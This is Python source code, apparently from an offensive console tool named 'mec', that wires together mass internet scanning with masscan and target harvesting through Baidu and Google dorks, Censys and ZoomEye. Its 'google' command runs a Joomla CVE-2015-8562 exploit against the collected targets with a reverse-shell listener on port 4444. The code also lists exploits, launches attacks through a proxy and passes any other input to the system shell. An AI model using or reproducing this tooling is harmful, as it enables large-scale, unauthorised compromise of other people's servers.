def run_masscan(**kwargs): """ run masscan external tool, mass scale internet scanner """ session = kwargs.get("session", None) # check root, as masscan requires root privilege if not session.is_root: console.print_error( "[-] Please run mec as root in order to run masscan") return ports = console.input_check( "[?] What ports do you want to scan (eg. 80 443)? ").split() try: scan.masscan(ports) except KeyboardInterrupt: console.print_warning("[-] masscan exited")
def execute(cmd): ''' handles user input in console ''' # lol i don't want any errors here cmd = str(cmd).lower().strip() if cmd == '': return if cmd == "masscan": # check root, as masscan requires root privilege if os.geteuid() != 0: console.print_error( "[-] Please run mec as root in order to run masscan") return ports = console.input_check( "[?] What ports do you want to scan (eg. 80 443)? ").split() try: scan.masscan(ports) except KeyboardInterrupt: console.print_warning("[-] masscan exited") elif cmd == 'info': colored_print( '[*] Current directory: {}\ \n[*] Init directory: {}\ \n[*] Log file: {}\ \n[*] Target: {}\ \n[*] Proxy config: {}'.format(os.getcwd(), SESSION.init_dir, SESSION.logfile, SESSION.ip_list, SESSION.proxy_conf), colors.CYAN) elif cmd.startswith('target'): target = ''.join(cmd.split()[1:]) if target not in os.listdir(SESSION.init_dir + '/data'): console.print_error("[-] Target file not found") return colored_print('[i] Target changed to {}'.format(target), colors.BLUE) SESSION.ip_list = SESSION.init_dir + \ '/data/' + target elif cmd in ('init', 'i'): colored_print('[*] Going back to init_dir...', colors.BLUE) os.chdir(SESSION.init_dir) elif cmd.startswith('baidu'): try: command = cmd.strip().split() dork = command[1] count = int(command[2]) os.chdir(SESSION.out_dir) colored_print('[*] Searching on Baidu...', colors.PURPLE) baidu.spider(dork, count) if yes_no("Use collected URL's as target?"): SESSION.ip_list = SESSION.init_dir + "result.txt" except (IndexError, EOFError, KeyboardInterrupt, SystemExit): return elif cmd == 'proxy': if not os.path.exists(SESSION.ss_config): console.print_error('[-] Please make sure {} exists'.format( SESSION.ss_config)) try: subprocess.Popen([SESSION.proxy_bin, '-c', SESSION.ss_config], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) debug_except() elif cmd == 'redis': console.print_error('[-] Under development') elif cmd.startswith('google'): try: cmd = cmd.strip().split() dork = cmd[1] # well yes im a lazy guy subprocess.call([ './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444' ]) except BaseException as err: console.print_error(str(err)) debug_except() elif cmd in ('q', 'quit'): check_kill_process('ss-proxy') sys.exit(0) elif cmd in ('h', 'help', '?'): print(console.HELP_INFO) elif cmd == 'exploits': colored_print('[+] Available exploits: ', colors.CYAN) for poc in list_exp(): colored_print(poc, colors.BLUE) elif cmd in ('z', "zoomeye"): try: console.print_warning( "[*] ZoomEye now asks for phone verification (+86 only)") zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): pass else: debug_except() elif cmd == "censys": try: output = censys.start() if yes_no("Use collected URL's as target?"): SESSION.ip_list = SESSION.init_dir + "/" + output colored_print( '[i] Target changed to {}'.format(SESSION.ip_list), colors.BLUE) except BaseException: return elif cmd in ('x', 'reset'): os.system("reset") elif cmd in ('c', 'clear'): os.system("clear") elif cmd in ("attack", "e"): attack() else: try: print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END, colors.GREEN + cmd, colors.END) os.system(cmd) except (EOFError, KeyboardInterrupt, SystemExit): return